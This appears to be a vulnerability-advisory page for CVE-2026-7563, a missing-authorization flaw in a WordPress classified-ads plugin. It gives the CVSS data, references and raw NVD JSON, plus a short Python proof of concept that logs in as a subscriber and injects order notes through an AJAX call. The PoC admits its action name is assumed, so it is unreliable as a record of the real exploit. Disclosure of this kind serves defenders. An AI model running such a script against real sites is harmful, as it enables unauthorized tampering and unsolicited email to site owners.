Security Vulnerability Report
中文
CVE-2026-7563 CVSS 4.3 MEDIUM

CVE-2026-7563

Published: 2026-05-15 09:16:18
Last Modified: 2026-05-15 14:09:16

Description

The Classified Listing – AI-Powered Classified ads & Business Directory Plugin plugin for WordPress is vulnerable to unauthorized access in all versions up to, and including, 5.3.10. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with subscriber-level access and above, to add arbitrary notes to any order and trigger unsolicited notification and moderation emails to listing owners without administrative authorization.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Classified Listing – AI-Powered Classified ads & Business Directory Plugin <= 5.3.10

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target configuration target_url = "http://example.com/wp-admin/admin-ajax.php" username = "subscriber" password = "password" # 1. Authenticate to obtain a valid cookie/session session = requests.Session() login_payload = { "log": username, "pwd": password, "redirect_to": "", "wp-submit": "Log In", "testcookie": "1" } session.post("http://example.com/wp-login.php", data=login_payload) # 2. Exploit: Add arbitrary note to an order # Note: The action name might vary based on the plugin's actual implementation. # This example assumes a common AJAX structure. exploit_payload = { "action": "rtcl_ajax_add_order_note", "order_id": "123", "note_content": "Arbitrary note content injected by attacker.", "notify_customer": "true" } response = session.post(target_url, data=exploit_payload) if response.status_code == 200: print("[+] Potential exploit successful. Check target for note/email.") print("Response:", response.text) else: print("[-] Exploit failed. Status code:", response.status_code)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-7563", "sourceIdentifier": "[email protected]", "published": "2026-05-15T09:16:17.510", "lastModified": "2026-05-15T14:09:15.910", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Classified Listing – AI-Powered Classified ads & Business Directory Plugin plugin for WordPress is vulnerable to unauthorized access in all versions up to, and including, 5.3.10. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with subscriber-level access and above, to add arbitrary notes to any order and trigger unsolicited notification and moderation emails to listing owners without administrative authorization."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/classified-listing/tags/5.3.10/app/Controllers/Admin/ScriptLoader.php#L672", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/classified-listing/tags/5.3.10/app/Controllers/Ajax/ListingAdminAjax.php#L48", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/classified-listing/tags/5.3.10/app/Controllers/Hooks/Comments.php#L51", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/classified-listing/tags/5.3.10/app/Controllers/Hooks/Comments.php#L63", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/classified-listing/tags/5.3.7/app/Controllers/Admin/ScriptLoader.php#L672", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/classified-listing/tags/5.3.7/app/Controllers/Ajax/ListingAdminAjax.php#L48", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/classified-listing/tags/5.3.7/app/Controllers/Hooks/Comments.php#L51", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/classified-listing/tags/5.3.7/app/Controllers/Hooks/Comments.php#L63", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/classified-listing/trunk/app/Controllers/Admin/ScriptLoader.php#L672", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/classified-listing/trunk/app/Controllers/Ajax/ListingAdminAjax.php#L48", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/classified-listing/trunk/app/Controllers/Hooks/Comments.php#L51", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/classified-listing/trunk/app/Controllers/Hooks/Comments.php#L63", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3527717/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/07cb3d57-d768-49a5-8af0-9dc4384487d5?source=cve", "source": "[email protected]"}]}}